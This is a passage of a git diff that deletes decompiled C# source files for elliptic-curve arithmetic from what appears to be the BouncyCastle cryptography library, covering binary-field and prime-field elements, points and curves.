longArray3.AddShiftedByWords(other2, 0); - longArray3.Reduce(m, ks); - return new F2mFieldElement(m, ks, longArray3); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow >= 1) - { - return new F2mFieldElement(m, ks, x.ModSquareN(pow, m, ks)); - } - return this; - } - - public override ECFieldElement Invert() - { - return new F2mFieldElement(m, ks, x.ModInverse(m, ks)); - } - - public override ECFieldElement Sqrt() - { - if (!x.IsZero() && !x.IsOne()) - { - return SquarePow(m - 1); - } - return this; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is F2mFieldElement other)) - { - return false; - } - return Equals(other); - } - - public virtual bool Equals(F2mFieldElement other) - { - if (m == other.m && representation == other.representation && Arrays.AreEqual(ks, other.ks)) - { - return x.Equals(other.x); - } - return false; - } - - public override int GetHashCode() - { - return x.GetHashCode() ^ m ^ Arrays.GetHashCode(ks); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mPoint.cs deleted file mode 100644 index adb2f49..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/F2mPoint.cs +++ /dev/null @@ -1,448 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public class F2mPoint : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - int curveCoordinateSystem = CurveCoordinateSystem; - switch (curveCoordinateSystem) - { - case 5: - case 6: - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - if (6 == curveCoordinateSystem) - { - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - } - return eCFieldElement; - } - default: - return base.RawYCoord; - } - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - switch (CurveCoordinateSystem) - { - case 5: - case 6: - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - default: - return rawYCoord.Divide(rawXCoord).TestBitZero(); - } - } - } - - [Obsolete("Use ECCurve.CreatePoint to construct points")] - public F2mPoint(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - [Obsolete("Per-point compression property will be removed, see GetEncoded(bool)")] - public F2mPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - if (x != null) - { - F2mFieldElement.CheckFieldElements(x, y); - if (curve != null) - { - F2mFieldElement.CheckFieldElements(x, curve.A); - } - } - } - - internal F2mPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new F2mPoint(null, AffineXCoord, AffineYCoord, withCompression: false); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - switch (coordinateSystem) - { - case 0: - { - ECFieldElement rawYCoord5 = base.RawYCoord; - ECFieldElement rawYCoord6 = b.RawYCoord; - ECFieldElement eCFieldElement29 = rawXCoord.Add(rawXCoord2); - ECFieldElement eCFieldElement30 = rawYCoord5.Add(rawYCoord6); - if (eCFieldElement29.IsZero) - { - if (eCFieldElement30.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement31 = eCFieldElement30.Divide(eCFieldElement29); - ECFieldElement eCFieldElement32 = eCFieldElement31.Square().Add(eCFieldElement31).Add(eCFieldElement29) - .Add(curve.A); - ECFieldElement y3 = eCFieldElement31.Multiply(rawXCoord.Add(eCFieldElement32)).Add(eCFieldElement32).Add(rawYCoord5); - return new F2mPoint(curve, eCFieldElement32, y3, base.IsCompressed); - } - case 1: - { - ECFieldElement rawYCoord3 = base.RawYCoord; - ECFieldElement eCFieldElement16 = base.RawZCoords[0]; - ECFieldElement rawYCoord4 = b.RawYCoord; - ECFieldElement eCFieldElement17 = b.RawZCoords[0]; - bool isOne3 = eCFieldElement16.IsOne; - ECFieldElement eCFieldElement18 = rawYCoord4; - ECFieldElement eCFieldElement19 = rawXCoord2; - if (!isOne3) - { - eCFieldElement18 = eCFieldElement18.Multiply(eCFieldElement16); - eCFieldElement19 = eCFieldElement19.Multiply(eCFieldElement16); - } - bool isOne4 = eCFieldElement17.IsOne; - ECFieldElement eCFieldElement20 = rawYCoord3; - ECFieldElement eCFieldElement21 = rawXCoord; - if (!isOne4) - { - eCFieldElement20 = eCFieldElement20.Multiply(eCFieldElement17); - eCFieldElement21 = eCFieldElement21.Multiply(eCFieldElement17); - } - ECFieldElement eCFieldElement22 = eCFieldElement18.Add(eCFieldElement20); - ECFieldElement eCFieldElement23 = eCFieldElement19.Add(eCFieldElement21); - if (eCFieldElement23.IsZero) - { - if (eCFieldElement22.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement24 = eCFieldElement23.Square(); - ECFieldElement eCFieldElement25 = eCFieldElement24.Multiply(eCFieldElement23); - ECFieldElement b3 = (isOne3 ? eCFieldElement17 : (isOne4 ? eCFieldElement16 : eCFieldElement16.Multiply(eCFieldElement17))); - ECFieldElement eCFieldElement26 = eCFieldElement22.Add(eCFieldElement23); - ECFieldElement eCFieldElement27 = eCFieldElement26.MultiplyPlusProduct(eCFieldElement22, eCFieldElement24, curve.A).Multiply(b3).Add(eCFieldElement25); - ECFieldElement x = eCFieldElement23.Multiply(eCFieldElement27); - ECFieldElement b4 = (isOne4 ? eCFieldElement24 : eCFieldElement24.Multiply(eCFieldElement17)); - ECFieldElement y2 = eCFieldElement22.MultiplyPlusProduct(rawXCoord, eCFieldElement23, rawYCoord3).MultiplyPlusProduct(b4, eCFieldElement26, eCFieldElement27); - ECFieldElement eCFieldElement28 = eCFieldElement25.Multiply(b3); - return new F2mPoint(curve, x, y2, new ECFieldElement[1] { eCFieldElement28 }, base.IsCompressed); - } - case 6: - { - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.RawXCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new F2mPoint(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new F2mPoint(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new F2mPoint(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - switch (curve.CoordinateSystem) - { - case 0: - { - ECFieldElement rawYCoord2 = base.RawYCoord; - ECFieldElement eCFieldElement11 = rawYCoord2.Divide(rawXCoord).Add(rawXCoord); - ECFieldElement x = eCFieldElement11.Square().Add(eCFieldElement11).Add(curve.A); - ECFieldElement y = rawXCoord.SquarePlusProduct(x, eCFieldElement11.AddOne()); - return new F2mPoint(curve, x, y, base.IsCompressed); - } - case 1: - { - ECFieldElement rawYCoord3 = base.RawYCoord; - ECFieldElement eCFieldElement12 = base.RawZCoords[0]; - bool isOne2 = eCFieldElement12.IsOne; - ECFieldElement eCFieldElement13 = (isOne2 ? rawXCoord : rawXCoord.Multiply(eCFieldElement12)); - ECFieldElement b3 = (isOne2 ? rawYCoord3 : rawYCoord3.Multiply(eCFieldElement12)); - ECFieldElement eCFieldElement14 = rawXCoord.Square(); - ECFieldElement eCFieldElement15 = eCFieldElement14.Add(b3); - ECFieldElement eCFieldElement16 = eCFieldElement13; - ECFieldElement eCFieldElement17 = eCFieldElement16.Square(); - ECFieldElement eCFieldElement18 = eCFieldElement15.Add(eCFieldElement16); - ECFieldElement eCFieldElement19 = eCFieldElement18.MultiplyPlusProduct(eCFieldElement15, eCFieldElement17, curve.A); - ECFieldElement x2 = eCFieldElement16.Multiply(eCFieldElement19); - ECFieldElement y2 = eCFieldElement14.Square().MultiplyPlusProduct(eCFieldElement16, eCFieldElement19, eCFieldElement18); - ECFieldElement eCFieldElement20 = eCFieldElement16.Multiply(eCFieldElement17); - return new F2mPoint(curve, x2, y2, new ECFieldElement[1] { eCFieldElement20 }, base.IsCompressed); - } - case 6: - { - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement eCFieldElement3 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement eCFieldElement4 = (isOne ? a : a.Multiply(eCFieldElement3)); - ECFieldElement eCFieldElement5 = rawYCoord.Square().Add(eCFieldElement2).Add(eCFieldElement4); - if (eCFieldElement5.IsZero) - { - return new F2mPoint(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement6 = eCFieldElement5.Square(); - ECFieldElement eCFieldElement7 = (isOne ? eCFieldElement5 : eCFieldElement5.Multiply(eCFieldElement3)); - ECFieldElement b = curve.B; - ECFieldElement eCFieldElement9; - if (b.BitLength < curve.FieldSize >> 1) - { - ECFieldElement eCFieldElement8 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b2 = ((!b.IsOne) ? eCFieldElement4.SquarePlusProduct(b, eCFieldElement3.Square()) : eCFieldElement4.Add(eCFieldElement3).Square()); - eCFieldElement9 = eCFieldElement8.Add(eCFieldElement5).Add(eCFieldElement3).Multiply(eCFieldElement8) - .Add(b2) - .Add(eCFieldElement6); - if (a.IsZero) - { - eCFieldElement9 = eCFieldElement9.Add(eCFieldElement7); - } - else if (!a.IsOne) - { - eCFieldElement9 = eCFieldElement9.Add(a.AddOne().Multiply(eCFieldElement7)); - } - } - else - { - ECFieldElement eCFieldElement10 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - eCFieldElement9 = eCFieldElement10.SquarePlusProduct(eCFieldElement5, eCFieldElement2).Add(eCFieldElement6).Add(eCFieldElement7); - } - return new F2mPoint(curve, eCFieldElement6, eCFieldElement9, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - int coordinateSystem = curve.CoordinateSystem; - int num = coordinateSystem; - if (num == 6) - { - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new F2mPoint(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new F2mPoint(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - return Twice().Add(b); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECCurve curve = Curve; - switch (curve.CoordinateSystem) - { - case 0: - { - ECFieldElement rawYCoord4 = base.RawYCoord; - return new F2mPoint(curve, rawXCoord, rawYCoord4.Add(rawXCoord), base.IsCompressed); - } - case 1: - { - ECFieldElement rawYCoord3 = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - return new F2mPoint(curve, rawXCoord, rawYCoord3.Add(rawXCoord), new ECFieldElement[1] { eCFieldElement2 }, base.IsCompressed); - } - case 5: - { - ECFieldElement rawYCoord2 = base.RawYCoord; - return new F2mPoint(curve, rawXCoord, rawYCoord2.AddOne(), base.IsCompressed); - } - case 6: - { - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new F2mPoint(curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpCurve.cs deleted file mode 100644 index 5fb3579..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpCurve.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public class FpCurve : AbstractFpCurve -{ - private const int FP_DEFAULT_COORDS = 4; - - protected readonly BigInteger m_q; - - protected readonly BigInteger m_r; - - protected readonly FpPoint m_infinity; - - public virtual BigInteger Q => m_q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => m_q.BitLength; - - [Obsolete("Use constructor taking order/cofactor")] - public FpCurve(BigInteger q, BigInteger a, BigInteger b) - : this(q, a, b, null, null) - { - } - - public FpCurve(BigInteger q, BigInteger a, BigInteger b, BigInteger order, BigInteger cofactor) - : base(q) - { - m_q = q; - m_r = FpFieldElement.CalculateResidue(q); - m_infinity = new FpPoint(this, null, null, withCompression: false); - m_a = FromBigInteger(a); - m_b = FromBigInteger(b); - m_order = order; - m_cofactor = cofactor; - m_coord = 4; - } - - [Obsolete("Use constructor taking order/cofactor")] - protected FpCurve(BigInteger q, BigInteger r, ECFieldElement a, ECFieldElement b) - : this(q, r, a, b, null, null) - { - } - - protected FpCurve(BigInteger q, BigInteger r, ECFieldElement a, ECFieldElement b, BigInteger order, BigInteger cofactor) - : base(q) - { - m_q = q; - m_r = r; - m_infinity = new FpPoint(this, null, null, withCompression: false); - m_a = a; - m_b = b; - m_order = order; - m_cofactor = cofactor; - m_coord = 4; - } - - protected override ECCurve CloneCurve() - { - return new FpCurve(m_q, m_r, m_a, m_b, m_order, m_cofactor); - } - - public override bool SupportsCoordinateSystem(int coord) - { - switch (coord) - { - case 0: - case 1: - case 2: - case 4: - return true; - default: - return false; - } - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new FpFieldElement(m_q, m_r, x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new FpPoint(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new FpPoint(this, x, y, zs, withCompression); - } - - public override ECPoint ImportPoint(ECPoint p) - { - if (this != p.Curve && CoordinateSystem == 2 && !p.IsInfinity) - { - switch (p.Curve.CoordinateSystem) - { - case 2: - case 3: - case 4: - return new FpPoint(this, FromBigInteger(p.RawXCoord.ToBigInteger()), FromBigInteger(p.RawYCoord.ToBigInteger()), new ECFieldElement[1] { FromBigInteger(p.GetZCoord(0).ToBigInteger()) }, p.IsCompressed); - } - } - return base.ImportPoint(p); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpFieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpFieldElement.cs deleted file mode 100644 index 304139f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpFieldElement.cs +++ /dev/null @@ -1,417 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC; - -public class FpFieldElement : AbstractFpFieldElement -{ - private readonly BigInteger q; - - private readonly BigInteger r; - - private readonly BigInteger x; - - public override string FieldName => "Fp"; - - public override int FieldSize => q.BitLength; - - public BigInteger Q => q; - - internal static BigInteger CalculateResidue(BigInteger p) - { - int bitLength = p.BitLength; - if (bitLength >= 96) - { - BigInteger bigInteger = p.ShiftRight(bitLength - 64); - if (bigInteger.LongValue == -1) - { - return BigInteger.One.ShiftLeft(bitLength).Subtract(p); - } - if ((bitLength & 7) == 0) - { - return BigInteger.One.ShiftLeft(bitLength << 1).Divide(p).Negate(); - } - } - return null; - } - - [Obsolete("Use ECCurve.FromBigInteger to construct field elements")] - public FpFieldElement(BigInteger q, BigInteger x) - : this(q, CalculateResidue(q), x) - { - } - - internal FpFieldElement(BigInteger q, BigInteger r, BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(q) >= 0) - { - throw new ArgumentException("value invalid in Fp field element", "x"); - } - this.q = q; - this.r = r; - this.x = x; - } - - public override BigInteger ToBigInteger() - { - return x; - } - - public override ECFieldElement Add(ECFieldElement b) - { - return new FpFieldElement(q, r, ModAdd(x, b.ToBigInteger())); - } - - public override ECFieldElement AddOne() - { - BigInteger bigInteger = x.Add(BigInteger.One); - if (bigInteger.CompareTo(q) == 0) - { - bigInteger = BigInteger.Zero; - } - return new FpFieldElement(q, r, bigInteger); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return new FpFieldElement(q, r, ModSubtract(x, b.ToBigInteger())); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - return new FpFieldElement(q, r, ModMult(x, b.ToBigInteger())); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - BigInteger bigInteger = this.x; - BigInteger val = b.ToBigInteger(); - BigInteger bigInteger2 = x.ToBigInteger(); - BigInteger val2 = y.ToBigInteger(); - BigInteger bigInteger3 = bigInteger.Multiply(val); - BigInteger n = bigInteger2.Multiply(val2); - return new FpFieldElement(q, r, ModReduce(bigInteger3.Subtract(n))); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - BigInteger bigInteger = this.x; - BigInteger val = b.ToBigInteger(); - BigInteger bigInteger2 = x.ToBigInteger(); - BigInteger val2 = y.ToBigInteger(); - BigInteger bigInteger3 = bigInteger.Multiply(val); - BigInteger value = bigInteger2.Multiply(val2); - BigInteger bigInteger4 = bigInteger3.Add(value); - if (r != null && r.SignValue < 0 && bigInteger4.BitLength > q.BitLength << 1) - { - bigInteger4 = bigInteger4.Subtract(q.ShiftLeft(q.BitLength)); - } - return new FpFieldElement(q, r, ModReduce(bigInteger4)); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return new FpFieldElement(q, r, ModMult(x, ModInverse(b.ToBigInteger()))); - } - - public override ECFieldElement Negate() - { - if (x.SignValue != 0) - { - return new FpFieldElement(q, r, q.Subtract(x)); - } - return this; - } - - public override ECFieldElement Square() - { - return new FpFieldElement(q, r, ModMult(x, x)); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - BigInteger bigInteger = this.x; - BigInteger bigInteger2 = x.ToBigInteger(); - BigInteger val = y.ToBigInteger(); - BigInteger bigInteger3 = bigInteger.Multiply(bigInteger); - BigInteger n = bigInteger2.Multiply(val); - return new FpFieldElement(q, r, ModReduce(bigInteger3.Subtract(n))); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - BigInteger bigInteger = this.x; - BigInteger bigInteger2 = x.ToBigInteger(); - BigInteger val = y.ToBigInteger(); - BigInteger bigInteger3 = bigInteger.Multiply(bigInteger); - BigInteger value = bigInteger2.Multiply(val); - BigInteger bigInteger4 = bigInteger3.Add(value); - if (r != null && r.SignValue < 0 && bigInteger4.BitLength > q.BitLength << 1) - { - bigInteger4 = bigInteger4.Subtract(q.ShiftLeft(q.BitLength)); - } - return new FpFieldElement(q, r, ModReduce(bigInteger4)); - } - - public override ECFieldElement Invert() - { - return new FpFieldElement(q, r, ModInverse(x)); - } - - public override ECFieldElement Sqrt() - { - if (IsZero || IsOne) - { - return this; - } - if (!q.TestBit(0)) - { - throw Platform.CreateNotImplementedException("even value of q"); - } - if (q.TestBit(1)) - { - BigInteger e = q.ShiftRight(2).Add(BigInteger.One); - return CheckSqrt(new FpFieldElement(q, r, this.x.ModPow(e, q))); - } - if (q.TestBit(2)) - { - BigInteger bigInteger = this.x.ModPow(q.ShiftRight(3), q); - BigInteger x = ModMult(bigInteger, this.x); - BigInteger bigInteger2 = ModMult(x, bigInteger); - if (bigInteger2.Equals(BigInteger.One)) - { - return CheckSqrt(new FpFieldElement(q, r, x)); - } - BigInteger x2 = BigInteger.Two.ModPow(q.ShiftRight(2), q); - BigInteger bigInteger3 = ModMult(x, x2); - return CheckSqrt(new FpFieldElement(q, r, bigInteger3)); - } - BigInteger bigInteger4 = q.ShiftRight(1); - if (!this.x.ModPow(bigInteger4, q).Equals(BigInteger.One)) - { - return null; - } - BigInteger bigInteger5 = this.x; - BigInteger bigInteger6 = ModDouble(ModDouble(bigInteger5)); - BigInteger k = bigInteger4.Add(BigInteger.One); - BigInteger obj = q.Subtract(BigInteger.One); - while (true) - { - BigInteger bigInteger7 = BigInteger.Arbitrary(q.BitLength); - if (bigInteger7.CompareTo(q) < 0 && ModReduce(bigInteger7.Multiply(bigInteger7).Subtract(bigInteger6)).ModPow(bigInteger4, q).Equals(obj)) - { - BigInteger[] array = LucasSequence(bigInteger7, bigInteger5, k); - BigInteger bigInteger8 = array[0]; - BigInteger bigInteger9 = array[1]; - if (ModMult(bigInteger9, bigInteger9).Equals(bigInteger6)) - { - return new FpFieldElement(q, r, ModHalfAbs(bigInteger9)); - } - if (!bigInteger8.Equals(BigInteger.One) && !bigInteger8.Equals(obj)) - { - break; - } - } - } - return null; - } - - private ECFieldElement CheckSqrt(ECFieldElement z) - { - if (!z.Square().Equals(this)) - { - return null; - } - return z; - } - - private BigInteger[] LucasSequence(BigInteger P, BigInteger Q, BigInteger k) - { - int bitLength = k.BitLength; - int lowestSetBit = k.GetLowestSetBit(); - BigInteger bigInteger = BigInteger.One; - BigInteger bigInteger2 = BigInteger.Two; - BigInteger bigInteger3 = P; - BigInteger bigInteger4 = BigInteger.One; - BigInteger bigInteger5 = BigInteger.One; - for (int num = bitLength - 1; num >= lowestSetBit + 1; num--) - { - bigInteger4 = ModMult(bigInteger4, bigInteger5); - if (k.TestBit(num)) - { - bigInteger5 = ModMult(bigInteger4, Q); - bigInteger = ModMult(bigInteger, bigInteger3); - bigInteger2 = ModReduce(bigInteger3.Multiply(bigInteger2).Subtract(P.Multiply(bigInteger4))); - bigInteger3 = ModReduce(bigInteger3.Multiply(bigInteger3).Subtract(bigInteger5.ShiftLeft(1))); - } - else - { - bigInteger5 = bigInteger4; - bigInteger = ModReduce(bigInteger.Multiply(bigInteger2).Subtract(bigInteger4)); - bigInteger3 = ModReduce(bigInteger3.Multiply(bigInteger2).Subtract(P.Multiply(bigInteger4))); - bigInteger2 = ModReduce(bigInteger2.Multiply(bigInteger2).Subtract(bigInteger4.ShiftLeft(1))); - } - } - bigInteger4 = ModMult(bigInteger4, bigInteger5); - bigInteger5 = ModMult(bigInteger4, Q); - bigInteger = ModReduce(bigInteger.Multiply(bigInteger2).Subtract(bigInteger4)); - bigInteger2 = ModReduce(bigInteger3.Multiply(bigInteger2).Subtract(P.Multiply(bigInteger4))); - bigInteger4 = ModMult(bigInteger4, bigInteger5); - for (int i = 1; i <= lowestSetBit; i++) - { - bigInteger = ModMult(bigInteger, bigInteger2); - bigInteger2 = ModReduce(bigInteger2.Multiply(bigInteger2).Subtract(bigInteger4.ShiftLeft(1))); - bigInteger4 = ModMult(bigInteger4, bigInteger4); - } - return new BigInteger[2] { bigInteger, bigInteger2 }; - } - - protected virtual BigInteger ModAdd(BigInteger x1, BigInteger x2) - { - BigInteger bigInteger = x1.Add(x2); - if (bigInteger.CompareTo(q) >= 0) - { - bigInteger = bigInteger.Subtract(q); - } - return bigInteger; - } - - protected virtual BigInteger ModDouble(BigInteger x) - { - BigInteger bigInteger = x.ShiftLeft(1); - if (bigInteger.CompareTo(q) >= 0) - { - bigInteger = bigInteger.Subtract(q); - } - return bigInteger; - } - - protected virtual BigInteger ModHalf(BigInteger x) - { - if (x.TestBit(0)) - { - x = q.Add(x); - } - return x.ShiftRight(1); - } - - protected virtual BigInteger ModHalfAbs(BigInteger x) - { - if (x.TestBit(0)) - { - x = q.Subtract(x); - } - return x.ShiftRight(1); - } - - protected virtual BigInteger ModInverse(BigInteger x) - { - int fieldSize = FieldSize; - int len = fieldSize + 31 >> 5; - uint[] p = Nat.FromBigInteger(fieldSize, q); - uint[] array = Nat.FromBigInteger(fieldSize, x); - uint[] z = Nat.Create(len); - Mod.Invert(p, array, z); - return Nat.ToBigInteger(len, z); - } - - protected virtual BigInteger ModMult(BigInteger x1, BigInteger x2) - { - return ModReduce(x1.Multiply(x2)); - } - - protected virtual BigInteger ModReduce(BigInteger x) - { - if (r == null) - { - x = x.Mod(q); - } - else - { - bool flag = x.SignValue < 0; - if (flag) - { - x = x.Abs(); - } - int bitLength = q.BitLength; - if (r.SignValue > 0) - { - BigInteger n = BigInteger.One.ShiftLeft(bitLength); - bool flag2 = r.Equals(BigInteger.One); - while (x.BitLength > bitLength + 1) - { - BigInteger bigInteger = x.ShiftRight(bitLength); - BigInteger value = x.Remainder(n); - if (!flag2) - { - bigInteger = bigInteger.Multiply(r); - } - x = bigInteger.Add(value); - } - } - else - { - int num = ((bitLength - 